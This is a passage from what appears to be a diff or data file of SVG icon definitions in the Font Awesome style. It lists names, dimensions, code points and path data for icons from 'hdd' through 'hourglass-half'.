16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-304-64l-64-32 64-32 32-64 32 64 64 32-64 32-16 32h208l-86.41-201.63a63.955 63.955 0 0 1-1.89-45.45L416 0 228.42 107.19a127.989 127.989 0 0 0-53.46 59.15L64 416h144l-16-32zm64-224l16-32 16 32 32 16-32 16-16 32-16-32-32-16 32-16z" ], + hdd: [ 576, 512, [], "f0a0", "M576 304v96c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48v-96c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48zm-48-80a79.557 79.557 0 0 1 30.777 6.165L462.25 85.374A48.003 48.003 0 0 0 422.311 64H153.689a48 48 0 0 0-39.938 21.374L17.223 230.165A79.557 79.557 0 0 1 48 224h480zm-48 96c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm-96 0c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32z" ], + "head-side-cough": [ 640, 512, [], "e061", "M616,304a24,24,0,1,0-24-24A24,24,0,0,0,616,304ZM552,416a24,24,0,1,0,24,24A24,24,0,0,0,552,416Zm-64-56a24,24,0,1,0,24,24A24,24,0,0,0,488,360ZM616,464a24,24,0,1,0,24,24A24,24,0,0,0,616,464Zm0-104a24,24,0,1,0,24,24A24,24,0,0,0,616,360Zm-64-40a24,24,0,1,0,24,24A24,24,0,0,0,552,320Zm-74.78-45c-21-47.12-48.5-151.75-73.12-186.75A208.13,208.13,0,0,0,234.1,0H192C86,0,0,86,0,192c0,56.75,24.75,107.62,64,142.88V512H288V480h64a64,64,0,0,0,64-64H320a32,32,0,0,1,0-64h96V320h32A32,32,0,0,0,477.22,275ZM288,224a32,32,0,1,1,32-32A32.07,32.07,0,0,1,288,224Z" ], + "head-side-cough-slash": [ 640, 512, [], "e062", "M454.11,319.21c19.56-3.81,31.62-25,23.11-44.21-21-47.12-48.5-151.75-73.12-186.75A208.13,208.13,0,0,0,234.1,0H192A190.64,190.64,0,0,0,84.18,33.3L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45ZM313.39,210.45,263.61,172c5.88-7.14,14.43-12,24.36-12a32.06,32.06,0,0,1,32,32C320,199,317.24,205.17,313.39,210.45ZM616,304a24,24,0,1,0-24-24A24,24,0,0,0,616,304Zm-64,64a24,24,0,1,0-24-24A24,24,0,0,0,552,368ZM288,384a32,32,0,0,1,32-32h19.54L20.73,105.59A190.86,190.86,0,0,0,0,192c0,56.75,24.75,107.62,64,142.88V512H288V480h64a64,64,0,0,0,64-64H320A32,32,0,0,1,288,384Zm328-24a24,24,0,1,0,24,24A24,24,0,0,0,616,360Z" ], + "head-side-mask": [ 512, 512, [], "e063", "M.15,184.42C-2.17,244.21,23,298.06,64,334.88V512H224V316.51L3.67,156.25A182.28,182.28,0,0,0,.15,184.42ZM509.22,275c-21-47.12-48.5-151.75-73.12-186.75A208.11,208.11,0,0,0,266.11,0H200C117,0,42.48,50.57,13.25,123.65L239.21,288H511.76A31.35,31.35,0,0,0,509.22,275ZM320,224a32,32,0,1,1,32-32A32.07,32.07,0,0,1,320,224Zm16,144H496l16-48H256V512H401.88a64,64,0,0,0,60.71-43.76L464,464H336a16,16,0,0,1,0-32H474.67l10.67-32H336a16,16,0,0,1,0-32Z" ], + "head-side-virus": [ 512, 512, [], "e064", "M272,240a16,16,0,1,0,16,16A16,16,0,0,0,272,240Zm-64-64a16,16,0,1,0,16,16A16,16,0,0,0,208,176Zm301.2,99c-20.93-47.12-48.43-151.73-73.07-186.75A207.9,207.9,0,0,0,266.09,0H192C86,0,0,86,0,192A191.23,191.23,0,0,0,64,334.81V512H320V448h64a64,64,0,0,0,64-64V320H480A32,32,0,0,0,509.2,275ZM368,240H355.88c-28.51,0-42.79,34.47-22.63,54.63l8.58,8.57a16,16,0,1,1-22.63,22.63l-8.57-8.58C290.47,297.09,256,311.37,256,339.88V352a16,16,0,0,1-32,0V339.88c0-28.51-34.47-42.79-54.63-22.63l-8.57,8.58a16,16,0,0,1-22.63-22.63l8.58-8.57c20.16-20.16,5.88-54.63-22.63-54.63H112a16,16,0,0,1,0-32h12.12c28.51,0,42.79-34.47,22.63-54.63l-8.58-8.57a16,16,0,0,1,22.63-22.63l8.57,8.58c20.16,20.16,54.63,5.88,54.63-22.63V96a16,16,0,0,1,32,0v12.12c0,28.51,34.47,42.79,54.63,22.63l8.57-8.58a16,16,0,0,1,22.63,22.63l-8.58,8.57C313.09,173.53,327.37,208,355.88,208H368a16,16,0,0,1,0,32Z" ], + heading: [ 512, 512, [], "f1dc", "M448 96v320h32a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H320a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32V288H160v128h32a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32V96H32a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h160a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16h-32v128h192V96h-32a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h160a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16z" ], + headphones: [ 512, 512, [], "f025", "M256 32C114.52 32 0 146.496 0 288v48a32 32 0 0 0 17.689 28.622l14.383 7.191C34.083 431.903 83.421 480 144 480h24c13.255 0 24-10.745 24-24V280c0-13.255-10.745-24-24-24h-24c-31.342 0-59.671 12.879-80 33.627V288c0-105.869 86.131-192 192-192s192 86.131 192 192v1.627C427.671 268.879 399.342 256 368 256h-24c-13.255 0-24 10.745-24 24v176c0 13.255 10.745 24 24 24h24c60.579 0 109.917-48.098 111.928-108.187l14.382-7.191A32 32 0 0 0 512 336v-48c0-141.479-114.496-256-256-256z" ], + "headphones-alt": [ 512, 512, [], "f58f", "M160 288h-16c-35.35 0-64 28.7-64 64.12v63.76c0 35.41 28.65 64.12 64 64.12h16c17.67 0 32-14.36 32-32.06V320.06c0-17.71-14.33-32.06-32-32.06zm208 0h-16c-17.67 0-32 14.35-32 32.06v127.88c0 17.7 14.33 32.06 32 32.06h16c35.35 0 64-28.71 64-64.12v-63.76c0-35.41-28.65-64.12-64-64.12zM256 32C112.91 32 4.57 151.13 0 288v112c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V288c0-114.67 93.33-207.8 208-207.82 114.67.02 208 93.15 208 207.82v112c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V288C507.43 151.13 399.09 32 256 32z" ], + headset: [ 512, 512, [], "f590", "M192 208c0-17.67-14.33-32-32-32h-16c-35.35 0-64 28.65-64 64v48c0 35.35 28.65 64 64 64h16c17.67 0 32-14.33 32-32V208zm176 144c35.35 0 64-28.65 64-64v-48c0-35.35-28.65-64-64-64h-16c-17.67 0-32 14.33-32 32v112c0 17.67 14.33 32 32 32h16zM256 0C113.18 0 4.58 118.83 0 256v16c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-16c0-114.69 93.31-208 208-208s208 93.31 208 208h-.12c.08 2.43.12 165.72.12 165.72 0 23.35-18.93 42.28-42.28 42.28H320c0-26.51-21.49-48-48-48h-32c-26.51 0-48 21.49-48 48s21.49 48 48 48h181.72c49.86 0 90.28-40.42 90.28-90.28V256C507.42 118.83 398.82 0 256 0z" ], + heart: [ 512, 512, [], "f004", "M462.3 62.6C407.5 15.9 326 24.3 275.7 76.2L256 96.5l-19.7-20.3C186.1 24.3 104.5 15.9 49.7 62.6c-62.8 53.6-66.1 149.8-9.9 207.9l193.5 199.8c12.5 12.9 32.8 12.9 45.3 0l193.5-199.8c56.3-58.1 53-154.3-9.8-207.9z" ], + "heart-broken": [ 512, 512, [], "f7a9", "M473.7 73.8l-2.4-2.5c-46-47-118-51.7-169.6-14.8L336 159.9l-96 64 48 128-144-144 96-64-28.6-86.5C159.7 19.6 87 24 40.7 71.4l-2.4 2.4C-10.4 123.6-12.5 202.9 31 256l212.1 218.6c7.1 7.3 18.6 7.3 25.7 0L481 255.9c43.5-53 41.4-132.3-7.3-182.1z" ], + heartbeat: [ 512, 512, [], "f21e", "M320.2 243.8l-49.7 99.4c-6 12.1-23.4 11.7-28.9-.6l-56.9-126.3-30 71.7H60.6l182.5 186.5c7.1 7.3 18.6 7.3 25.7 0L451.4 288H342.3l-22.1-44.2zM473.7 73.9l-2.4-2.5c-51.5-52.6-135.8-52.6-187.4 0L256 100l-27.9-28.5c-51.5-52.7-135.9-52.7-187.4 0l-2.4 2.4C-10.4 123.7-12.5 203 31 256h102.4l35.9-86.2c5.4-12.9 23.6-13.2 29.4-.4l58.2 129.3 49-97.9c5.9-11.8 22.7-11.8 28.6 0l27.6 55.2H481c43.5-53 41.4-132.3-7.3-182.1z" ], + helicopter: [ 640, 512, [], "f533", "M304 384h272c17.67 0 32-14.33 32-32 0-123.71-100.29-224-224-224V64h176c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16H144c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h176v64H112L68.8 70.4C65.78 66.37 61.03 64 56 64H16.01C5.6 64-2.04 73.78.49 83.88L32 192l160 64 86.4 115.2A31.992 31.992 0 0 0 304 384zm112-188.49C478.55 208.3 528.03 257.44 540.79 320H416V195.51zm219.37 263.3l-22.15-22.2c-6.25-6.26-16.24-6.1-22.64.01-7.09 6.77-13.84 11.25-24.64 11.25H240c-8.84 0-16 7.18-16 16.03v32.06c0 8.85 7.16 16.03 16 16.03h325.94c14.88 0 35.3-.47 68.45-29.52 7.02-6.14 7.57-17.05.98-23.66z" ], + highlighter: [ 544, 512, [], "f591", "M0 479.98L99.92 512l35.45-35.45-67.04-67.04L0 479.98zm124.61-240.01a36.592 36.592 0 0 0-10.79 38.1l13.05 42.83-50.93 50.94 96.23 96.23 50.86-50.86 42.74 13.08c13.73 4.2 28.65-.01 38.15-10.78l35.55-41.64-173.34-173.34-41.52 35.44zm403.31-160.7l-63.2-63.2c-20.49-20.49-53.38-21.52-75.12-2.35L190.55 183.68l169.77 169.78L530.27 154.4c19.18-21.74 18.15-54.63-2.35-75.13z" ], + hiking: [ 384, 512, [], "f6ec", "M80.95 472.23c-4.28 17.16 6.14 34.53 23.28 38.81 2.61.66 5.22.95 7.8.95 14.33 0 27.37-9.7 31.02-24.23l25.24-100.97-52.78-52.78-34.56 138.22zm14.89-196.12L137 117c2.19-8.42-3.14-16.95-11.92-19.06-43.88-10.52-88.35 15.07-99.32 57.17L.49 253.24c-2.19 8.42 3.14 16.95 11.92 19.06l63.56 15.25c8.79 2.1 17.68-3.02 19.87-11.44zM368 160h-16c-8.84 0-16 7.16-16 16v16h-34.75l-46.78-46.78C243.38 134.11 228.61 128 212.91 128c-27.02 0-50.47 18.3-57.03 44.52l-26.92 107.72a32.012 32.012 0 0 0 8.42 30.39L224 397.25V480c0 17.67 14.33 32 32 32s32-14.33 32-32v-82.75c0-17.09-6.66-33.16-18.75-45.25l-46.82-46.82c.15-.5.49-.89.62-1.41l19.89-79.57 22.43 22.43c6 6 14.14 9.38 22.62 9.38h48v240c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V176c.01-8.84-7.15-16-15.99-16zM240 96c26.51 0 48-21.49 48-48S266.51 0 240 0s-48 21.49-48 48 21.49 48 48 48z" ], + hippo: [ 640, 512, [], "f6ed", "M581.12 96.2c-27.67-.15-52.5 17.58-76.6 26.62C489.98 88.27 455.83 64 416 64c-11.28 0-21.95 2.3-32 5.88V56c0-13.26-10.75-24-24-24h-16c-13.25 0-24 10.74-24 24v48.98C286.01 79.58 241.24 64 192 64 85.96 64 0 135.64 0 224v240c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16v-70.79C128.35 407.57 166.72 416 208 416s79.65-8.43 112-22.79V464c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16V288h128v32c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-32c17.67 0 32-14.33 32-32v-92.02c0-34.09-24.79-67.59-58.88-67.78zM448 176c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z" ], + history: [ 512, 512, [], "f1da", "M504 255.531c.253 136.64-111.18 248.372-247.82 248.468-59.015.042-113.223-20.53-155.822-54.911-11.077-8.94-11.905-25.541-1.839-35.607l11.267-11.267c8.609-8.609 22.353-9.551 31.891-1.984C173.062 425.135 212.781 440 256 440c101.705 0 184-82.311 184-184 0-101.705-82.311-184-184-184-48.814 0-93.149 18.969-126.068 49.932l50.754 50.754c10.08 10.08 2.941 27.314-11.313 27.314H24c-8.837 0-16-7.163-16-16V38.627c0-14.254 17.234-21.393 27.314-11.314l49.372 49.372C129.209 34.136 189.552 8 256 8c136.81 0 247.747 110.78 248 247.531zm-180.912 78.784l9.823-12.63c8.138-10.463 6.253-25.542-4.21-33.679L288 256.349V152c0-13.255-10.745-24-24-24h-16c-13.255 0-24 10.745-24 24v135.651l65.409 50.874c10.463 8.137 25.541 6.253 33.679-4.21z" ], + "hockey-puck": [ 512, 512, [], "f453", "M0 160c0-53 114.6-96 256-96s256 43 256 96-114.6 96-256 96S0 213 0 160zm0 82.2V352c0 53 114.6 96 256 96s256-43 256-96V242.2c-113.4 82.3-398.5 82.4-512 0z" ], + "holly-berry": [ 448, 512, [], "f7aa", "M144 192c26.5 0 48-21.5 48-48s-21.5-48-48-48-48 21.5-48 48 21.5 48 48 48zm112-48c0 26.5 21.5 48 48 48s48-21.5 48-48-21.5-48-48-48-48 21.5-48 48zm-32-48c26.5 0 48-21.5 48-48S250.5 0 224 0s-48 21.5-48 48 21.5 48 48 48zm-16.2 139.1c.1-12.4-13.1-20.1-23.8-13.7-34.3 20.3-71.4 32.7-108.7 36.2-9.7.9-15.6 11.3-11.6 20.2 6.2 13.9 11.1 28.6 14.7 43.8 3.6 15.2-5.3 30.6-20.2 35.1-14.9 4.5-30.1 7.6-45.3 9.1-9.7 1-15.7 11.3-11.7 20.2 15 32.8 22.9 69.5 23 107.7.1 14.4 15.2 23.1 27.6 16 33.2-19 68.9-30.5 104.8-33.9 9.7-.9 15.6-11.3 11.6-20.2-6.2-13.9-11.1-28.6-14.7-43.8-3.6-15.2 5.3-30.6 20.2-35.1 14.9-4.5 30.1-7.6 45.3-9.1 9.7-1 15.7-11.3 11.7-20.2-15.5-34.2-23.3-72.5-22.9-112.3zM435 365.6c-15.2-1.6-30.3-4.7-45.3-9.1-14.9-4.5-23.8-19.9-20.2-35.1 3.6-15.2 8.5-29.8 14.7-43.8 4-8.9-1.9-19.3-11.6-20.2-37.3-3.5-74.4-15.9-108.7-36.2-10.7-6.3-23.9 1.4-23.8 13.7 0 1.6-.2 3.2-.2 4.9.2 33.3 7 65.7 19.9 94 5.7 12.4 5.2 26.6-.6 38.9 4.9 1.2 9.9 2.2 14.8 3.7 14.9 4.5 23.8 19.9 20.2 35.1-3.6 15.2-8.5 29.8-14.7 43.8-4 8.9 1.9 19.3 11.6 20.2 35.9 3.4 71.6 14.9 104.8 33.9 12.5 7.1 27.6-1.6 27.6-16 .2-38.2 8-75 23-107.7 4.3-8.7-1.8-19.1-11.5-20.1z" ], + home: [ 576, 512, [], "f015", "M280.37 148.26L96 300.11V464a16 16 0 0 0 16 16l112.06-.29a16 16 0 0 0 15.92-16V368a16 16 0 0 1 16-16h64a16 16 0 0 1 16 16v95.64a16 16 0 0 0 16 16.05L464 480a16 16 0 0 0 16-16V300L295.67 148.26a12.19 12.19 0 0 0-15.3 0zM571.6 251.47L488 182.56V44.05a12 12 0 0 0-12-12h-56a12 12 0 0 0-12 12v72.61L318.47 43a48 48 0 0 0-61 0L4.34 251.47a12 12 0 0 0-1.6 16.9l25.5 31A12 12 0 0 0 45.15 301l235.22-193.74a12.19 12.19 0 0 1 15.3 0L530.9 301a12 12 0 0 0 16.9-1.6l25.5-31a12 12 0 0 0-1.7-16.93z" ], + horse: [ 576, 512, [], "f6f0", "M575.92 76.6c-.01-8.13-3.02-15.87-8.58-21.8-3.78-4.03-8.58-9.12-13.69-14.5 11.06-6.84 19.5-17.49 22.18-30.66C576.85 4.68 572.96 0 567.9 0H447.92c-70.69 0-128 57.31-128 128H160c-28.84 0-54.4 12.98-72 33.11V160c-48.53 0-88 39.47-88 88v56c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-56c0-13.22 6.87-24.39 16.78-31.68-.21 2.58-.78 5.05-.78 7.68 0 27.64 11.84 52.36 30.54 69.88l-25.72 68.6a63.945 63.945 0 0 0-2.16 37.99l24.85 99.41A15.982 15.982 0 0 0 107.02 512h65.96c10.41 0 18.05-9.78 15.52-19.88l-26.31-105.26 23.84-63.59L320 345.6V496c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16V318.22c19.74-20.19 32-47.75 32-78.22 0-.22-.07-.42-.08-.64V136.89l16 7.11 18.9 37.7c7.45 14.87 25.05 21.55 40.49 15.37l32.55-13.02a31.997 31.997 0 0 0 20.12-29.74l-.06-77.71zm-64 19.4c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z" ], + "horse-head": [ 512, 512, [], "f7ab", "M509.8 332.5l-69.9-164.3c-14.9-41.2-50.4-71-93-79.2 18-10.6 46.3-35.9 34.2-82.3-1.3-5-7.1-7.9-12-6.1L166.9 76.3C35.9 123.4 0 238.9 0 398.8V480c0 17.7 14.3 32 32 32h236.2c23.8 0 39.3-25 28.6-46.3L256 384v-.7c-45.6-3.5-84.6-30.7-104.3-69.6-1.6-3.1-.9-6.9 1.6-9.3l12.1-12.1c3.9-3.9 10.6-2.7 12.9 2.4 14.8 33.7 48.2 57.4 87.4 57.4 17.2 0 33-5.1 46.8-13.2l46 63.9c6 8.4 15.7 13.3 26 13.3h50.3c8.5 0 16.6-3.4 22.6-9.4l45.3-39.8c8.9-9.1 11.7-22.6 7.1-34.4zM328 224c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24z" ], + hospital: [ 448, 512, [], "f0f8", "M448 492v20H0v-20c0-6.627 5.373-12 12-12h20V120c0-13.255 10.745-24 24-24h88V24c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v72h88c13.255 0 24 10.745 24 24v360h20c6.627 0 12 5.373 12 12zM308 192h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zm-168 64h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm104 128h-40c-6.627 0-12 5.373-12 12v84h64v-84c0-6.627-5.373-12-12-12zm64-96h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zm-116 12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40zM182 96h26v26a6 6 0 0 0 6 6h20a6 6 0 0 0 6-6V96h26a6 6 0 0 0 6-6V70a6 6 0 0 0-6-6h-26V38a6 6 0 0 0-6-6h-20a6 6 0 0 0-6 6v26h-26a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6z" ], + "hospital-alt": [ 576, 512, [], "f47d", "M544 96H416V32c0-17.7-14.3-32-32-32H192c-17.7 0-32 14.3-32 32v64H32c-17.7 0-32 14.3-32 32v368c0 8.8 7.2 16 16 16h544c8.8 0 16-7.2 16-16V128c0-17.7-14.3-32-32-32zM160 436c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm160 128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm16-170c0 3.3-2.7 6-6 6h-26v26c0 3.3-2.7 6-6 6h-20c-3.3 0-6-2.7-6-6v-26h-26c-3.3 0-6-2.7-6-6v-20c0-3.3 2.7-6 6-6h26V86c0-3.3 2.7-6 6-6h20c3.3 0 6 2.7 6 6v26h26c3.3 0 6 2.7 6 6v20zm144 298c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40z" ], + "hospital-symbol": [ 512, 512, [], "f47e", "M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256 256-114.6 256-256S397.4 0 256 0zm112 376c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-88h-96v88c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8V136c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v88h96v-88c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v240z" ], + "hospital-user": [ 640, 512, [], "f80d", "M480 320a96 96 0 1 0-96-96 96 96 0 0 0 96 96zm48 32a22.88 22.88 0 0 0-7.06 1.09 124.76 124.76 0 0 1-81.89 0A22.82 22.82 0 0 0 432 352a112 112 0 0 0-112 112.62c.14 26.26 21.73 47.38 48 47.38h224c26.27 0 47.86-21.12 48-47.38A112 112 0 0 0 528 352zm-198.09 10.45A145.19 145.19 0 0 1 352 344.62V128a32 32 0 0 0-32-32h-32V32a32 32 0 0 0-32-32H96a32 32 0 0 0-32 32v64H32a32 32 0 0 0-32 32v368a16 16 0 0 0 16 16h288.31A78.62 78.62 0 0 1 288 464.79a143.06 143.06 0 0 1 41.91-102.34zM144 404a12 12 0 0 1-12 12H92a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm0-128a12 12 0 0 1-12 12H92a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm48-122a6 6 0 0 1-6 6h-20a6 6 0 0 1-6-6v-26h-26a6 6 0 0 1-6-6v-20a6 6 0 0 1 6-6h26V70a6 6 0 0 1 6-6h20a6 6 0 0 1 6 6v26h26a6 6 0 0 1 6 6v20a6 6 0 0 1-6 6h-26zm80 250a12 12 0 0 1-12 12h-40a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm0-128a12 12 0 0 1-12 12h-40a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12z" ], + "hot-tub": [ 512, 512, [], "f593", "M414.21 177.65c1.02 8.21 7.75 14.35 15.75 14.35h16.12c9.51 0 17.08-8.57 16-18.35-4.34-39.11-22.4-74.53-50.13-97.16-17.37-14.17-28.82-36.75-31.98-62.15C378.96 6.14 372.22 0 364.23 0h-16.12c-9.51 0-17.09 8.57-16 18.35 4.34 39.11 22.4 74.53 50.13 97.16 17.36 14.17 28.82 36.75 31.97 62.14zm-108 0c1.02 8.21 7.75 14.35 15.75 14.35h16.12c9.51 0 17.08-8.57 16-18.35-4.34-39.11-22.4-74.53-50.13-97.16-17.37-14.17-28.82-36.75-31.98-62.15C270.96 6.14 264.22 0 256.23 0h-16.12c-9.51 0-17.09 8.57-16 18.35 4.34 39.11 22.4 74.53 50.13 97.16 17.36 14.17 28.82 36.75 31.97 62.14zM480 256H256l-110.93-83.2a63.99 63.99 0 0 0-38.4-12.8H64c-35.35 0-64 28.65-64 64v224c0 35.35 28.65 64 64 64h384c35.35 0 64-28.65 64-64V288c0-17.67-14.33-32-32-32zM128 440c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zM64 128c35.35 0 64-28.65 64-64S99.35 0 64 0 0 28.65 0 64s28.65 64 64 64z" ], + hotdog: [ 512, 512, [], "f80f", "M488.56 23.44a80 80 0 0 0-113.12 0l-352 352a80 80 0 1 0 113.12 113.12l352-352a80 80 0 0 0 0-113.12zm-49.93 95.19c-19.6 19.59-37.52 22.67-51.93 25.14C373.76 146 364.4 147.6 352 160s-14 21.76-16.23 34.71c-2.48 14.4-5.55 32.33-25.15 51.92s-37.52 22.67-51.92 25.15C245.75 274 236.4 275.6 224 288s-14 21.75-16.23 34.7c-2.47 14.4-5.54 32.33-25.14 51.92s-37.53 22.68-51.93 25.15C117.76 402 108.4 403.6 96 416a16 16 0 0 1-22.63-22.63c19.6-19.59 37.52-22.67 51.92-25.14 13-2.22 22.3-3.82 34.71-16.23s14-21.75 16.22-34.7c2.48-14.4 5.55-32.33 25.15-51.92s37.52-22.67 51.92-25.14c13-2.22 22.3-3.83 34.7-16.23s14-21.76 16.24-34.71c2.47-14.4 5.54-32.33 25.14-51.92s37.52-22.68 51.92-25.15C394.24 110 403.59 108.41 416 96a16 16 0 0 1 22.63 22.63zM31.44 322.18L322.18 31.44l-11.54-11.55c-25-25-63.85-26.66-86.79-3.72L16.17 223.85c-22.94 22.94-21.27 61.79 3.72 86.78zm449.12-132.36L189.82 480.56l11.54 11.55c25 25 63.85 26.66 86.79 3.72l207.68-207.68c22.94-22.94 21.27-61.79-3.72-86.79z" ], + hotel: [ 576, 512, [], "f594", "M560 64c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h15.98v384H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h240v-80c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v80h240c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-16V64h16zm-304 44.8c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zm0 96c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zm-128-96c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zM179.2 256h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8zM192 384c0-53.02 42.98-96 96-96s96 42.98 96 96H192zm256-140.8c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-96c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4z" ], + hourglass: [ 384, 512, [], "f254", "M360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64z" ], + "hourglass-end": [ 384, 512, [], "f253", "M360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64zM192 208c-57.787 0-104-66.518-104-144h208c0 77.945-46.51 144-104 144z" ], + "hourglass-half": [ 384, 512, [], "f252", "M360 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24zm-75.078 384H99.08c17.059-46.797 52.096-80 92.92-80 40.821 0 75.862 33.196 